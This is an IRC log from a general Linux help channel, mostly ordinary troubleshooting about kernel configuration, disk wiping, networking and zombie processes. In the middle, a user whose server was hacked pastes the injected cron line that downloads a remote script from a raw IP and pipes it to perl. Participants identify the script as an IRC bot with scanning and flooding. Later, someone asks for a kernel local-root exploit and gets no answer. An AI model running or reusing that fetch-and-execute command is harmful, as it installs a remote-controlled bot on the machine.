17:58 < GunqqerFriithian> 999
17:58 < buoyantair> 888
17:59 < ayecee> 755
17:59 < GunqqerFriithian> 867
17:59 < ayecee> right in the songs
17:59 < autopsy> What does 1755 do what is a sticky bit?
17:59 < ayecee> autopsy: sticky bit makes it so only file owner can delete it
17:59 < oneko> \o/
18:00 < bluezinc> WTF is going on?
18:00 < ayecee> typically used for /tmp
18:00 < autopsy> Only delete even with write perms for other?
18:00 < BluesKaj> 25 or 624
18:00 < autopsy> Yeah used for /tmp
18:00 < ayecee> autopsy: the write permissions will depend on the file permissions, but even a user who can write can't remove it unless they are owner
18:00 < autopsy> Ok.
18:02 < bipul> We love to see a class on any linux topic every day here.
18:03 < GunqqerFriithian> class? In my Linux chat? NEVER
18:03 < Psi-Jack> Okay children. Lets begin Linux Class today.
18:04 < bipul> I mean a fixed time every day to discuss linux.
18:04 < Psi-Jack> First... You must all go get a shrubbery!
18:04 < bluezinc> In the begining, there was nothing.  And then Linus created the kernel.
18:04 < GunqqerFriithian> GNU/Kernel
18:05 < bipul> BSD and Unix was there
18:05 < bluezinc> And Linus saw how good the kernel was.  And on the second day, there was GNU.
18:05 < ayecee> also mom and dad
18:05 < ayecee> gnu shot first
18:08 < searedvandal> ah, story time
18:09 < ayecee> a long long time ago
18:09 < ayecee> in a filesystem far away
18:09 < bipul> yes
18:09 < ayecee> beware the empire's new superweapon, the rm-star
18:10 < searedvandal> rm sleep
18:10 < bipul> empire you mean Microsoft?
18:10 < ayecee> no
18:10 < ayecee> different story
18:11 < rumpel> rm --no-preserve-universe
18:11 < Shaan> Hi Ive got a raspberryPI, I'm trying to create a bootable USB with Ubuntu 18.04 to install ubuntu on another system.. however my attempts with DD have been unsuccessfull anyone around to lend a quick hand?
18:11 < bipul> Shaan, #raspberrypi
18:12 < Shaan> unfortunately its not an official channel and as such, no one around to help
18:12 < ayecee> this is not an official channel either
18:12 < ayecee> so i'm afraid we can't help you
18:13 < MikeFromIT> Shaan dd if=/path/to/iso of=/path/to/usb bs=1M
18:13 < bipul> Shaan, What problem are you getting? You just need to make a bootable pendrive.
18:13 < Psi-Jack> ayecee: That is simply not true.
18:13 < Psi-Jack> Shaan: What "doesn't work" about it?
18:13 < MikeFromIT> ayecee he just said no one was there
18:13 < Dominian> f/24
18:14 < Psi-Jack> Dominian: wut?
18:14 < ayecee> /cali
18:14 < autopsy> Shaan, what attempt with dd was unsuccessful?
18:15 < Psi-Jack> Shaan: And more so, why a USB?
18:15 < Psi-Jack> Shaan: RPi boots primarily off the SD/microSD
18:15 < searedvandal> he's on a rpi trying to make a ubuntu 18.04 usb to install on another system?
18:15 < searedvandal> if I read it correctly
18:16 < Psi-Jack> Ahh
18:16 < Psi-Jack> Well, he stopped responding so..
18:16 < Shaan> Psi-Jack: did you not read my entire question?,
18:17 < lnnb> every time someone references the death star i can't help but think about this https://en.wikipedia.org/wiki/Telstar
18:17 < Shaan> Psi-Jack: I'm not booting RPI off a USB, rather creating a bootable USB on raspberry since I have no other PC idling around.
18:17 < searedvandal> Shaan, how did you run dd and what, if any, errors are you getting ?
18:17 < Psi-Jack> Shaan: Just misunderstood the whole question. Not that it's helping that you've not actually answered a very important question that was asked.
18:17 < Dominian> Psi-Jack: typo
18:17 < Dominian> Psi-Jack: trying to sort out why leap 15 is ignoring my displayanager and windosmanager settings
18:17 < Psi-Jack> Dominian: When did you change genders and how did you get younger? ;)
18:17 < Shaan> searedvandal: I've got it working.. it was just a slight typo, i was typing full path to the ISO, when I did not need to.
18:17 < Dominian> and launching kde anyway
18:17 < searedvandal> Shaan, alrighty
18:18 < ayecee> facepalm
18:18 < searedvandal> palmface?
18:19 < ayecee> facefrond
18:20 < Psi-Jack> facebook
18:20 < ayecee> frondface
18:25 < autopsy> Duck Tales.
18:30 < Dominian> Psi-Jack:
18:30 < Dominian> Psi-Jack: https://doc.opensuse.org/release-notes/x86_64/openSUSE/Leap/15.0/#sec.desktop.set-login-manager-session
18:30 < Dominian> Psi-Jack: looks like they went to update-alternatives system with Leap 15
18:50 < buoyantair> test
18:51 < hackinghorn> wow so many people
18:52 < zapotah> SO MANY PEOPLE
18:52 < ayecee> "people"
18:52 < zapotah> im willing to bet that half are logbots
18:52 < ayecee> and the other half are NSA plants
18:52 < hackinghorn> I'm trying to learn some linux but I'm afraid I will forget everything if I dont practice often
18:52 < zapotah> hackinghorn: its like riding a bike
18:53 < zapotah> hackinghorn: dont ride on for twenty years and you will faceplant on the concrete
18:53 < autopsy> hackinghorn, it is hard to forget actually.
18:56 < ibttis> hello can someone help me?
18:56 < ibttis> hibernation doesnt work, there's enough swap and resume=/ is added
18:56 < autopsy> ibttis, with what?
18:57 < ibttis> xfce fedora 28
18:57 < ibttis> hibernation and suspend don't work
18:57 < ibttis> they didn't work on xubuntu as well, but everything was fine on normal ubuntu
18:57 < ibttis> with KDE
18:57 < Pentode> hackinghorn, i don't have a great memory, and although i do have notes, somehow i manage to remember things. even after taking a five year break from linux while writing and maintaining stupid parts store POS junk ;p
18:57 < autopsy> ibttis, have you tried just Fedora 28 Workstation?
18:58 < ibttis> that's the installation im running autopsy
18:58 < autopsy> ibttis, how did you get XFCE then?
18:58 < ibttis> it's and option on their download site autopsy
18:58 < ibttis> you pick your gui
18:58 < autopsy> Oh.
18:59 < buoyantair> !!!
18:59 < ibttis> ???
19:00 < hackinghorn> so I guess linux things are hard to forget
19:00 < hackinghorn> lets learn them all
19:01 < EugenA> hi!
19:01 < EugenA> something generating zombie processes on my server
19:01 < EugenA> https://pastebin.com/WMy5CkFz
19:01 < EugenA> how can I fix it?
19:01 < EugenA> it is a linux server with plesk and parallels panel installed
19:01 < Pentode> well you type them over and over again ;p
19:02 < Pentode> then theres tab completion and manual pages
19:02 < buoyantair> hackinghorn: I hope so!
19:02 < hackinghorn> buoyantair, yeee
19:02 < EugenA> it 10 min I have 100 zombie processes and than I need to reboot the server, it cannot open any files any more
19:02 < hackinghorn> how to kill zombie processes?
19:03 < hackinghorn> shoot them in the head
19:03 < buoyantair> zomibe ? kill : forgive
19:03 < buoyantair> my keyboard...
19:04 < hackinghorn> EugenA, sorry we are not helpful
19:05 < EugenA> i see :-)
19:05 < hackinghorn> maybe open task manager?
19:06 < EugenA> I need to find out what is producing that zombie processes
19:07 < EugenA> I can kill them with kill -9, but new zombies are coming every 2 minutes
19:09 < Psi-Jack> Ugh.... Fracking A/C is out... Again...
19:15 < demonxian3> who has dark website
19:15 < demonxian3> i want to visit
19:16 < autopsy> demonxian3, the dark lord.
19:31 < ayecee> the first rule of dark web is that you don't talk about dark web
19:32 < ayecee> otherwise it won't stay dark
19:32 < GunqqerFriithian> dark web
19:32 < searedvandal> depending on your screen brightness it's may not be so dark
19:33 < ayecee> maybe just a little dim
19:33 < GunqqerFriithian> >not using dark mode
19:34 < searedvandal> on a more serious note, this may not be the best place to ask about that demonxian3 . I suggest google.
19:34 < ayecee> if it's on google, it's not exactly dark
19:35 < EugenA> my server was hacked, if you are interested, this cronjob was injected to run every minute:
19:36 < searedvandal> true. but it's as good place as any to ask that question
19:36 < ayecee> seedy cantinas are better
19:36 < EugenA> wget -O - http://192.241.253.120/168 | perl
19:36 < EugenA> don't execute it, just for your information
19:37 < ayecee> yeah, maybe don't paste commands that should not be executed
19:37 < GunqqerFriithian> ^
19:37 < searedvandal> good advice
19:38 < searedvandal> so EugenA , what did the command do to your server?
19:38 < EugenA> can someone understand that perl script?
19:38 < ayecee> it's an irc bot
19:38 < EugenA> searedvandal: i'm not sure that that perl script does
19:38 < dotcomboom> yeah, some sort of irc thing
19:38 < EugenA> oh..
19:39 < dotcomboom> with port scans???
19:39 < ayecee> i don't see that
19:39 < ayecee> oh yeah, there it is
19:39 < ayecee> also a flooder
19:40 < EugenA> should I report that IP somewhere?
19:40 < dotcomboom> I suppose they could be snooping on your local network through that
19:40 < ayecee> EugenA: it belongs to digital ocean, so you could report it to them.
19:40 < dotcomboom> yeah I'd do that
19:40 < searedvandal> yeah, report to digital ocean
19:41 < searedvandal> and lock down your server
19:42 < EugenA> ok
19:42 < EugenA> thanks
19:43 < ayecee> connects to an irc server on ovh
19:43 < ayecee> maybe report to them too
19:43 < zapotah> many infected hosts!
19:43 < zapotah> who knew
19:43 < dotcomboom> I wonder how they got in
19:44 < ayecee> maybe people running random commands from irc
19:44 < dotcomboom> doing rm -rf on stuff
19:44 < dotcomboom> sad!
19:45 < GunqqerFriithian> rm -rfd, no trace
19:47 < ayecee> possibly through phpmyadmin
19:48 < ayecee> it's a barely modified variant of an older bot
19:49 < compdoc> skynet was a modified variant
19:55 < hassoon> 'evening
19:57 < jim> hi
19:57 < hassoon> hey
19:58  * jim looking at old modal vamps, put em in lmms
20:01 < folorn> does any folks have any experience with using snort at all ?
20:03 < ayecee> one way to find out is to ask a question about using snort
20:05 < pankaj> I am compiling linux kernel on my destro. THeir is a lot of compilation of huge amount of device drivers going on. I just want that the important ones to my system should be installed. It does not matter if I plug a new device later and the device driver for that is missing. I can bear that but for now I want to install essentials only. Is their any way to configure that in .config file. How?
20:05 < ayecee> there is no easy way to do that
20:06 < schemanic> Hello. I'm wondering what software people use to do things like monitor and graph system events like ssh logins and root level elevations. Ideally I'd like a tool that lives on the host and can be set to intercept system events and fire http calls as alerts. Does anyone have experience with this kind of tool
20:06 < pankaj> ayecee: Once I saw a tutorial to have config file so that only the devices that I have currently plugged get ..............
20:06 < pankaj> ayecee: Just something like that.
20:06 < ayecee> cool story
20:07 < mgolisch> sure run the apropriate config ui
20:07 < ayecee> when you find it again, bookmark it
20:07 < mgolisch> it will only build whats selected in the .config file
20:07 < pankaj> mgolisch: So, I have to configure .config file and just it?
20:08 < pankaj> mgolisch: But the problem I face is that it is too big and rarely thier is any resource on google that help me to understand .config file and how to modify it. Can please somebody make it easy. I am in disperate need of learning this.
20:08 < mgolisch> yeah in the kernel source tree run one of the config make targets
20:08 < Ratler> schemanic: https://osquery.io/
20:08 < mgolisch> like make menuconfig or make xconfig
20:09 < GodOfsea> yo
20:09 < ayecee> pankaj: there is no easy way to do this.
20:09 < pankaj> ayecee: Like enabling what features with the kernel I want. Is it not possible?
20:09 < ayecee> it's possible. it's not easy.
20:09 < mgolisch> sure just go through the config ui and select the bits you need
20:10 < mgolisch> it probably takes forever and you will end up missing essential things
20:10 < pankaj> ayecee: I know kernel comes with a good number of device drivers and modules so that it can identify a large portion of devices. But I just want to compile for my system only. I can face the issue of other devices I plug in.
20:10 < mgolisch> unless you have a realy good reason just using your modular distribution kernel will in almost all cases be the better option
20:10 < jim> pankaj, there's something debian does you might consider: they make modules out of everything possible in the kernel...
20:11 < ayecee> pankaj: i understand what you're asking for. do you understand me when i say there is not an easy way to do that?
20:11 < lucus16> pankaj: Maybe reading https://wiki.gentoo.org/wiki/Handbook:AMD64/Installation/Kernel can help you learn to configure the kernel?
20:11 < pankaj> mgolisch: Atleast I can understand something in it and change something and understand something. I am not saying to understand all of it as it is very huge
20:11 < Ratler> pankaj: only way to customize the kernel for your hw is to know exactly what you need and then enable that in the config, might be a daunting task the first time you do it though.
20:11 < hassoon> ayecee: but..what if there is ? ö
20:11 < ayecee> hassoon: i'm willing to take that chance
20:11 < hassoon> is that like..a bet ?
20:12 < pankaj> Ratler: Ready for it.
20:12 < pankaj> ayecee: I know it is not easy but just tell me how to do that.
20:12 < ayecee> then run "make menuconfig" and start going through the options
20:12 < jim> pankaj, then, when the kernel is installed from a package, what happens is it looks at how / is -currently- mounted, and then generates an initrd that has the modules required for that, so that when it boots, it loads the modules necessary to mount / from the ramdisk
20:13 < GodOfsea> how did you guys learn this ?
20:13 < lucus16> By installing Gentoo
20:13 < ayecee> i don't remember
20:13 < GodOfsea> ohh damn
20:13 < mgolisch> lucus16: ++
20:13 < Ratler> Started early with linux, my first kernel was 0.99. It was a hell of a lot harder back then haha
20:13 < Ratler> and the compile times was insane
20:13 < searedvandal> sure was
20:14 < GodOfsea> I was born in 1998
20:14 < ayecee> my car is older than you
20:14 < GodOfsea> Exactly my point ayecee
20:14 < Ratler> ehe
20:14 < pankaj> ayecee: Atleast you can tell something about contents of .config file. It is huge and have a lot number of sections. That is what I am trying to know how to have grasp of this .config file.
20:14 < bipul> Your too young.
20:15 < GunqqerFriithian> >your
20:15 < ayecee> pankaj: most people would never read or edit .config directly.
20:15 < pankaj> ayecee: THere is rarely any resource that tell about how to deal with contents of .config file.
20:15 < Ratler> pankaj: word of advice, DON'T directly edit .config, that will fail horribly
20:15 < ayecee> pankaj: they would use make menuconfig or make xconfig
20:15 < pankaj> Ratler: So,......Is it good to do that from interface like that in 'make menuconfig'?
20:15 < bls> or localmodconfig was the target you were asking about earlier
20:16 < bipul> What .config file?
20:16 < ayecee> bipul: the .config file for the kernel.
20:16 < bipul> Oh.
20:16 < Ratler> pankaj: yes, make nconfig or make menu_config
20:16 < jim> bipul, that's the file that specifies what gets compiled into the kernel and what gets compiled as modules
20:16 < GodOfsea> bipul thats a good thing
20:16 < jim> (among a few other things)
20:17 < bipul> Oh i see.. I heard about Module, but never get chance to work on these area.
20:17 < pankaj> Ratler: Like if I want to enable specific device drivers for controllers pertaining to my system then is it like listed in normal way in config file or is their any convention to deal with it or.
20:17 < bn_work> hi, does anyonre remember the name of the command that verifies the permissions of a path ?  something like `einame` or so?
20:17 < bipul> Kernel modules*
20:17 < ayecee> pankaj: the convention to deal with it is to find it in make menuconfig
20:17 < Ratler> pankaj: you can see all drivers using the menu_config, enable/disable them as you please
20:18 < bls> pankaj: execute one of the config targets (k/v, TUI, or GUI) to change the setting
20:18 < pankaj> ayecee: OK. I think it is best to undergo with some risks and huge time while compiling and trying again and again. Atleast better for learning
20:18 < pankaj> bls: OK
20:19 < GodOfsea> serious convo , nothing I can help with , be back later
20:19 < pankaj> Ratler: OK. It will not be easy but.........youknow
20:19 < bls> individual settings have dependencies that need to change. just hand editing individual lines in .config will not resolve those dependencies, hence, always use the make interface
20:19 < pankaj> Ratler: What is special about 'make localmodconfig'.
20:20 < bls> a quick google search would answer that for you
20:20 < searedvandal> could be an idea to see what modules your live cd or whatever you use already has loaded too before you start.
20:20 < pankaj> bipul: Hello.
20:21 < bipul> Yes pankaj
20:22 < GodOfsea> you guys are indian bipul and pankaj
20:22 < searedvandal> or the path of least resistence, localmodconfig
20:22 < pankaj> bipul: Are you a linux system administrator or tell something. Just wanted to learn more about linux. You can help me.
20:22 < pankaj> searedvandal: Yes, that one. What is it?
20:23 < pankaj> GodOfsea: And you?
20:23 < GodOfsea> pankaj , how do you think i know
20:23 < searedvandal> pankaj, it generates a .config file for your kernel. it disables all options not currently in use by the running kernel.
20:24 < pankaj> GodOfsea: Because may be many people like to have a foreign name?
20:24 < ayecee> GodOfsea: divine inspiration
20:24 < Ratler> ....or by looking at your IP ;)
20:24 < GodOfsea> Ratler ;)
20:24 < searedvandal> sneaky
20:24 < pankaj> searedvandal: So, I think it is good for me. Is it has disadvantages. What are they?
20:25 < pankaj> GodOfsea: You are cool
20:25 < pankaj> GodOfsea: How do you know that. Can you share with your sprit of open source please?
20:25 < bls> pankaj: there may be things you want/need that get excluded, then you'll have no support for them
20:25 < pankaj> GodOfsea: By looking at IP. How?
20:25 < bipul> pankaj,  Just stick your nose here https://lwn.net/ and get user friendly linux.
20:25 < bls> pankaj: i.e. there are no real advantages of doing it
20:26 < TinyTimmyTokyo> My laptop isn't wanting to connect to my school's laptop (that uses MSCHAPv2 for authentication), from the Gentoo minimal CD
20:26 < searedvandal> pankaj, the drawbacks are that you'll have a kernel that potentially won't support newer hardware, features and things like that
20:26 < TinyTimmyTokyo> these parameters normally work, but trying to connect from wpa_cli puts out pages and pages of this: https://u.teknik.io/AOltn.jpg
20:26 < searedvandal> you'll get what you need at the time you run the command. nothing more, nothing less.
20:27 < pankaj> bls: A guy (as I saw on youtube) did that and said that you have to have just plug in the device that you want to have support and may be you will have problem when plugging new devices but it is fine if you want to decrease compile time.
20:27 < bipul> GodOfsea, Nobody is here Indian, American. All we are here IRC user.
20:27 < ayecee> nice
20:27 < GodOfsea> bipul relax dude , I know
20:27 < bipul> :) Just follow the IRC rules. That sit.
20:27 < ayecee> i am a native ircian
20:28 < bls> pankaj: yes, you'd have to have every device you could possibly ever want to talk to plugged in and working when you do this for no significant decrease in compile time
20:28 < redredhathat> Does being a weeb count for anything?
20:28 < ayecee> nothing positive
20:28 < redredhathat> anything negative, captain?
20:28 < ayecee> yes
20:28 < bls> not to mention every filesystem, every network protocol
20:28 < searedvandal> I say, enable it all
20:29 < redredhathat> blast
20:29 < GodOfsea> noted :)
20:32 < GodOfsea> So gentoo is were the learning starts ?
20:32 < autopsy> pankaj, make localmodconfig
20:32 < ayecee> can start anywhere
20:33 < searedvandal> gentoo, arch, linux from scratch, ubuntu. doesn't matter. learning starts where you want it to start :)
20:33 < pankaj> autopsy: Yes, I got it.
20:34 < GodOfsea> yeah ayecee searedvandal if you know what to learn :/
20:34 < ayecee> all of them have manpages.
20:34 < ayecee> all of them have /usr/share/doc
20:34 < searedvandal> GodOfsea, what do you want to learn? that's the question
20:34 < bls> GodOfsea: one distro isn't magically more educational than another. it's all the same software under the hood, the only differences are the distro specific tools
20:35 < GodOfsea> whatever I have to
20:35 < GodOfsea> bls I disagree .
20:35 < gambl0re> hi theres no audio in my xubuntu. i checked all the sounds making sure nothing is mute
20:35 < balletjebal> anyone here knows anything about bouncers? i installed znc now im stuck at connecting
20:36 < ayecee> stuck how
20:36 < bls> balletjebal: there's a znc channel on here
20:36 < balletjebal> did makeconfig now i wonder how to connect :P
20:36 < GodOfsea> balletjebal: where did you install znc , in your pc or server ?
20:36 < balletjebal> bls, k ill try
20:36 < ayecee> oh man
20:37 < gambl0re> hello?
20:37 < ayecee> gambl0re: we see you.
20:37 < dotcomboom> gambl0re did you check the audio mixer -> output devices I believe?
20:37 < searedvandal> and is the correct device being used?
20:38 < gambl0re> dotcomboom, what should i be checking? volume is turnt up
20:38 < GodOfsea> the audio devices being used
20:38 < gambl0re> Speakers is selected
20:38 < balletjebal> GodOfsea, on my VM of parrot {kali based}
20:39 < ayecee> just keeps getting better :P
20:39 < GodOfsea> ayecee: I know :)
20:39 < gambl0re> ?
20:39 < dotcomboom> I'll be right back
20:39 < pankaj> bipul: It is just news stuff. How to get familier?
20:40 < bls> how do you learn how to learn?
20:40 < ayecee> we must go deeper
20:40 < balletjebal> bls, by asking :)
20:40 < ayecee> ah, no.
20:41 < bipul> which one? lwn.net?
20:41 < dotcomboom> okay gambl0re, right click the volume icon then choose Open Mixer, then go to Output Devices
20:41 < gambl0re> i did
20:42 < GodOfsea> bls i didnt learn nothing when I installed mint , arch was great though
20:42 < dotcomboom> okay, is the port selected correctly?
20:42 < dotcomboom> you might need to fiddle with it
20:42 < gambl0re> Speakers.
20:42 < gambl0re> fiddle with what
20:42 < bls> GodOfsea: so? that's not mint's fault or credit to arch
20:42 < searedvandal> balletjebal, have you configured and started znc? where does connecting to it stop?
20:43 < gambl0re> dotcomboom, i can see the volume bar going up and down, i just dont hear anything
20:43 < dotcomboom> are you using external speakers?
20:43 < gambl0re> im using my laptop speakers
20:43 < gambl0re> i didnt change anything so i dont know why this is happening all of a sudden
20:43 < GodOfsea> thats my  point some distros are more educational
20:43 < bls> GodOfsea: you could have learned everything you learned on arch on mint if you'd wanted to
20:43 < balletjebal> searedvandal, i did, its forking in the bg just wondered how to use my irc client to connect to it
20:44 < bls> other than the arch specific tools
20:44 < searedvandal> balletjebal, https://wiki.znc.in/ZNC
20:44 < dotcomboom> is there just one output device?
20:44 < balletjebal> searedvandal, il have a look
20:45 < dotcomboom> Built-in Audio Analog Stereo, or something like that?
20:45 < GodOfsea> balletjebal: install znc in a server
20:45 < bipul> pankaj, I guess you are using Ubuntu. If you want to learn Ubuntu start from wiki.ubuntu i.e http://upstart.ubuntu.com/cookbook/
20:45 < bls> I could install arch, avoid doing anything I don't already know how to do and say it's horribly uneducational, but that's really on me avoiding learning, nothing else
20:46 < GodOfsea> bls you are right , but its easier to learn , where you have to or you cant move forward ( at least in my case )
20:46 < pankaj> bipul: I know ubuntu. I just want to learn advance stuff.
20:46 < bipul> Ubuntu wiki has very nice notes on all topics
20:46 < bipul> https://wiki.ubuntu.com/
20:46 < bipul> Like?
20:46 < pankaj> bipul: Like dealing with device driver internally. How to deal with PCI ( I think I have not yet got grasp of it).
20:47 < pankaj> bipul: So, that if any problem arise I can (upto what I can do or possible) repair my system.
20:47 < bipul> If you want to learn kernel programming ?
20:47 < balletjebal> GodOfsea, have to look into that i'm a 7 day newbie on linux :P
20:47 < bls> you could use mint in just as obstructionist/featureless of a way if you really wanted, it's just not the default
20:47 < pankaj> bipul: Yes, It is better
20:47 < bipul> device drive programming and all?
20:47 < pankaj> bipul: Well, Not yet kernel
20:47 < pankaj> bipul: For now
20:47 < pankaj> bipul: But device drivers will be good.
20:48 < pankaj> bipul: Just tell something about yourself.
20:48 < gambl0re> dotcomboom, theres Speakers and headphones (unplugged)
20:48 < gambl0re> Speakers is selected
20:49 < dotcomboom> hmm
20:49 < dotcomboom> I guess you can check the Configuration tab to make sure the speaker's profile isn't set to Off
20:51 < bipul> I'm just normal linux user.
20:52 < bipul> Go to oftc there are channels for device drive programming.
20:52 < sgub> hey there
20:54 < pankaj> bipul: Yes, I remember I know the channel #kernelnewbies. I talked to them and they said to better search for custom compilation of kernel first.
20:54 < pankaj> sgub: How do you remain updated with linux news and other stuff.
20:54 < searedvandal> that's good advice
20:55 < bipul> Humm...
20:55 < ayecee> pankaj: i lurk on irc
20:55 < searedvandal> pankaj, google 'linux news'
20:56 < sgub> I have a question. When I do "top" on my box, cpus us + sy = 100% but when I do a "ps -Ao pcpu" and I calculate the sum of %CPU I get something around 11%
20:56  * ayecee waits for the question
20:56 < sgub> what would expain the difference between the 2 %
20:57 < ayecee> hard to say without seeing what you see
20:57 < pankaj> ayecee: It is much better resource I think than some news stuff. Although I like reading also.
20:57 < ayecee> sgub: i imagine the second command won't give very accurate percentages though, since it doesn't run long enough to capture a meaningful time slice.
20:58 < sgub> ayecee makes sense thx
20:59 < jim> sgub, hi, please expand thx as thanks... will help all chat participants here
21:00 < myall> sgub: Could also be timing.
21:00 < myall> (and/or sampling rate)
21:01 < sgub> cool will look into it, thanks ;)
21:03 < phinxy> I sold a hard drive which has a Linux installed together with my old personal files..  Whats a quick way to get it somewhat clean and ready for a Windows installation?
21:03 < fryguy> dban
21:03 < Ben64> fill it with zeros
21:03 < dotcomboom> yep, dban
21:03 < dotcomboom> wipe it clean
21:04 < Ben64> by filling it with zeros
21:06 < jim> phinxy, the buyer wants windows?
21:08 < phinxy> jim• Yes!
21:08 < jim> you of course have backups of everything you need?
21:08 < ananke> phinxy: shred -v -n 0 -z /dev/<yourdrive>
21:13 < gambl0re> ive got audio on left side only. how do i balance it
21:13 < phinxy> jim• It was a couple dotfiles and pdf documents I'll never get around to study
21:13 < phogg> ananke: or you could use dd, which is more likely to be installed
21:14 < ananke> phogg: sure. and is less user friendly
21:14 < phinxy> nwipe did not work for me, It said it finished in a second.
21:15 < ananke> phinxy: I don't believe anybody suggested 'nwipe'
21:16 < phinxy> dban ~= nwipe ?
21:16 < jprjr> technically dban is dwipe, nwipe is a fork
21:16 < bls> nwipe is what got extracted for OSS purposes when dban started being weird about licensing
21:17 < jprjr> I've always used nwipe via systemrescuecd without issue
21:17 < phogg> any program which includes a switch that makes it seek out and wipe all disks on the system is too dangerous for me to want installed
21:18 < jprjr> I have some crapass dedicated old computer I use to wipe disks, nothing gets attached unless I'm OK with it being potentially wiped
21:18 < jprjr> but nwipe/dwipe shouldn't auto-wipe things without that switch
21:19 < phogg> to me it's just backwards design which makes me distrust the creator
21:24 < thxffo> looking for a way to turn a txt file delimited by lines to json
21:25 < EugenA> Ich need for a bash script data storage
21:26 < schemanic> what tools can I use to set up alerts off of osquery?
21:26 < jprjr> thxffo: I'd write a perl script or something that reads it into some data structure, then uses a JSON module to serialize it. That way you ensure things are escaped properly, etc
21:26 < EugenA> something like sql server, nur without running daemon
21:26 < jprjr> Or python, or whatever language you prefer. Just don't try to do it using sed/awk/etc
21:27 < jprjr> EugenA: sqlite?
21:27 < searedvandal> text-to-json-cli
21:28 < ananke> thxffo: jq can do it
21:28 < thxffo> ok cool, i will check out these suggestions
21:38 < dviola> does fedora uses an older kernel for their initramfs?
21:38 < dviola> older than the one used for the real root fs
21:38 < ayecee> how do you mean
21:38 < dgurney> huh?
21:38 < dgurney> no, everything uses the same kernel, any other way would make zero sense
21:38 < dviola> dgurney: are you sure?
21:39 < ayecee> *facepalm*
21:39 < dgurney> absolutely.
21:39 < dviola> ok I think I confused myself
21:39 < rascul> i also think so
21:39 < dgurney> I mean, think of the primary function of an initramfs: loading modules. how do you propose that would work if the versions were different?
21:39 < dviola> I read complaints about using an older kernel for the install media, IIRC
21:39 < dgurney> indeed, it seems like you did
21:39 < dviola> and not the initramfs
21:40 < dgurney> well yes, the install media kernels can be outdated, but luckily https://dl.fedoraproject.org/pub/alt/live-respins/ is a thing
21:40 < dviola> yes, you're right
21:40 < dviola> thanks anyway
21:50 < hans__> the old /etc/network/interfaces was basically "iface enp0s31f6 inet dhcp", does this seem correct-ish? https://paste.fedoraproject.org/paste/aCpP2bLqNB7jRWchlJFRmw/raw?password=f1ykRu2EYEPdp1KjyU5k
21:50 < hans__> (i have no idea how to edit /etc/network/interfaces , and just googled it..)
21:53 < imfearless> @hans__ that is correct.. what issues are you having?
21:54 < hans__> my issue is that the computer's ip keeps changing randomly between reboots, and it's annoying, and i'm trying to give it a static IP, but the router literally doesn't support static addresses (it's many years old, and probably wasn't a high-end model even back then, guess that's related)
21:55 < hans__> and i'm not sure how to give it a static ip
21:59 < jprjr> hans__: I think you're talking about DHCP reservations, not static IPs, there's a slight difference.
22:00 < hans__> ah yes i am
22:00 < hans__> "DHCP reservations" sounds much more accurate
22:00 < Furai> How to persist socat?
22:00 < jprjr> hans__: You should just be able to assign your address a static IP via NetworkManager, /etc/network/interfaces, etc - depends on the distro, they all have different methods
22:00 < jprjr> *assign your interface
22:01 < hans__> it's a headless ubuntu 16.04 server edition, but the interfaces config i posted seems to work :)
22:02 < dotcomboom> I just use mdns for my nextcloud server, shrug
22:03 < jprjr> hans__: Yeah you'll use /etc/network/interfaces. You can likely skip the "network" and "broadcast" lines, those are implied by address+netmask. I usually just set address, netmask, gateway, dns-nameservers
22:04 < jprjr> I also usually do dns-search if I have local dns setup
22:35 < Sveta> 10
22:36 < i7yaX1337> Hey
22:36 < hans__> Debian's arp reports mac's as 00:00:00:00 , Cygwin's arp report them as 00-00-00-00, any idea why?
22:37 < hans__> it just broke 1 of my scripts x.x
22:38 < Sveta> Perhaps ask #cygwin about that
22:38 < i7yaX1337> Anyone have 3.10.0-514.6.1.el7.x86_64 #1 SMP Wed Jan 18 13:06:36 UTC 2017 x86_64 localroot?
22:38 < hans__> is : : :  or - - -  more common in linux?
22:38 < hans__> for arp
22:43 < searedvandal> :
22:43 < searedvandal> probably
22:47 < sgub> hey, is there any reason why the cpu lin on top of "top" would match the total %CPU of the lines below?
22:47 < sgub> would *not* match
22:49 < OpenSorce> Hey folks, I have a geeky request. I want a script to run every time I open a terminal window. Is that something I can just drop into .bashrc or .profile?
22:49 < hans__> because kittens are adorable little bastards?
22:49 < hans__> or maybe you don't have access to information about those processes, totally normal if you're not root
22:49 < hans__> OpenSorce, sounds like a job for bashrc, yeah
22:50 < OpenSorce> hans__, anything special I would need to make it go back to the terminal once it's stopped?
22:51 < hans__> OpenSorce, nope
22:52 < OpenSorce> hans__, yep I see that. I should have tried it before asking :-P
22:52 < searedvandal> sgub, the top manual explains the different fields pretty good
22:57 < za1b1tsu> what does rc stand for in config files vimrc openboxrc etc?
22:58 < triceratux> "run command" ?
22:58 < ayecee> http://www.catb.org/jargon/html/R/rc-file.html
22:58 < ayecee> historic relic
22:59 < triceratux> https://superuser.com/questions/708980/etc-rc-d-what-does-rc-stand-for
23:01 < TomyLobo> much like kids today when faced with a modem, linux users tomorrow will probably be shocked and horrified about how we could use that kind of thing for so long :)
23:02 < OpenSorce> I think "Linux" users will always be comfortable with the CLI. Ubuntu users not so much
23:03 < leftyfb> OpenSorce: that's a pretty broad and incorrect statement
23:03 < TomyLobo> i was more referring to systemd, not gui configuration tools
23:03 < iflema> comfortable...
23:03 < OpenSorce> TomyLobo, modems weren't so bad. It was "winmodems" that were the devil.
23:03 < ayecee> can't tell if flamebait or just dumb
23:04 < OpenSorce> leftyfb, it wasn't meant to be inflammatory. I simply meant that some distros are more oriented toward end-users than others.
23:05  * iflema is ...comfortable
23:05 < TomyLobo> systemd basically throws out the whole scripty shebang with all of its platform specifics and proneness to mismatching the managed process
23:05  * iflema still
23:06 < RyansWorld> In Ubuntu 16.04 is there any settings that would stop a process after 2 hours?  It seems the background processes I am launching consistently stop after 2 hours of running.  Is this a configuration issue with something?
23:06 < ayecee> RyansWorld: no
23:06 < Karut> Hi, sometimes i watch series on my pc and i would want to control the mouse from an android app (like a tv remote) but i dont want to run a server always, just an app that runs a server as long as the window exists, can you guys recommend me software?
23:06 < iflema> tyat ended quickly
23:07 < OpenSorce> Karut, yep... give me a sec I'll find that for you...
23:08 < TomyLobo> iflema, yeah, no one from the devuan corner here it seems :D
23:08 < iflema> que
23:09 < iflema> they till hanging in there?
23:09 < OpenSorce> Karut, there are actually several but there's a very simple one I'm trying to find that I used to use...
23:09 < TomyLobo> i suppose
23:09 < Karut> OpenSorce: :D
23:09 < iflema> you know whats wrong with ststemd?
23:10 < TomyLobo> that it hasnt appeared 10 years earlier
23:10 < TomyLobo> i still have to deal with a distro born in 2007 at work
23:10 < iflema> its too large...
23:10 < ayecee> your mom etc.etc.
23:11 < TomyLobo> in terms of executable size?
